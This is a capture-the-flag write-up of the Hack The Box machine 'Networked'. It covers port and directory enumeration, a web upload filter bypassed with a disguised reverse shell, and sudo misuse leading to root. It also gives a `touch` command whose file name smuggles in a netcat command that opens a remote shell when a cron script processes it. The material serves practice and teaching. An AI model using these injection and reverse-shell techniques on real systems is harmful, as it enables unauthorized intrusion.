Hack The Box: Networked

Jump Ahead: EnumUserRoot


To solve this machine, we start by enumerating all ports; we see that only ports 22, 80, 443 are open. Next, we enumerate port 80, seeing there is a file upload page that we are able to use to upload a reverse shell. On the box, we look inside the user guly‘s home directory, and see a crontab script – crontab.guly. Looking at the script, we see that it runs another script that we are also able to read – check_attack.php. check_attack.php contains a code injection vulnerability that we are able to exploit to get a reverse shell back as guly – allowing us to get user.txt. We have sudo privileges to run a file that contains a vulnerability in how input is supplied using the read bash command. Exploiting this, we are able to launch bash as root and get root.txt.


Like all machines, we begin by enumerating all open ports using nmap, then run nmap scripts against them:

$ nmap --min-rate 4000 -p-
$ nmap -A -p 22,80,443 -oA scans/tcpAllScripts

Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-30 10:20 CDT
Nmap scan report for
Host is up (0.055s latency).

22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
Aggressive OS guesses: Linux 3.10 - 4.11 (94%), Linux 3.18 (91%), Linux 3.2 - 4.9 (91%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 4.10 (90%), Linux 4.2 (90%), Linux 4.4 (90%), Asus RT-AC66U WAP (90%), Li
nux 3.10 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 443/tcp)
1   54.09 ms
2   54.34 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.84 seconds

Seeing that port 80 is open, we use gobuster to enumerate it:

$ gobuster dir -u -w /opt/wordlists/seclists/Discovery/Web-Content/common.txt -o scans/gobuster-80-common.txt

$ gobuster dir -u -w /opt/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -o scans/gobuster-80-raft-medium-files.txt

Of note, running these commands found:

/uploads (Status: 301)
/upload.php (Status: 200)
/photos.php (Status: 200)

Getting User

Going to /upload.php, we see that this page allows us to upload files. Trying to upload a regular file before uploading a reverse shell, we see that it only wants us to upload an image.

Trying quick evasion techniques like changing the filename and mime-type prove unsuccessful, however, we are able to cat a legitimate image file with our reverse shell to evade the filtering. Once our file uploads, we are instructed to refresh the gallery. To do this, we navigate to, which then runs our reverse shell.

Looking around the machine, we go to the user guly‘s home directory, where we see there is a cron script we are able to read – crontab.guly. Every 3 minutes, this script runs another script, check_attack.php, that we are also able to read.

check_attack.php essentially gets a list of every file in /var/www/html/uploads/ and processes it for removal if it is not named index.html. The foreach loop iterates over every filename, storing the name in variable $value. We notice that $value is not sanitized in any way, which means we should be able to inject code to get a reverse shell. To do this, we use the touch command to create a file named ‘; nc -c bash 4444 &’.

touch ‘; nc -c bash 4444 &’

Once the cron job executes, we should have a shell as guly and be able to read user.txt.

At this point, we can generate and upload our RSA public key so we can have a true shell via SSH.

Getting Root

One of the first things we do when connecting as a new user is run sudo -l, which shows we can run /usr/local/sbin/changename.sh as root.

Looking at the script, we see that it serves as a way to create new network interfaces. Looking deeper at the script, we see the read command takes input from the user. Due to the way the Linux command line works, arguments are separated by whitespace, unless surrounded by quotes. Because of this, we should be able to inject the bash command through this script. To launch bash as the root user, we should be able to supply it as the second argument.

Injecting bash as the second argument when we are asked for input successfully gives us a shell as root. We are now able to read root.txt!

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!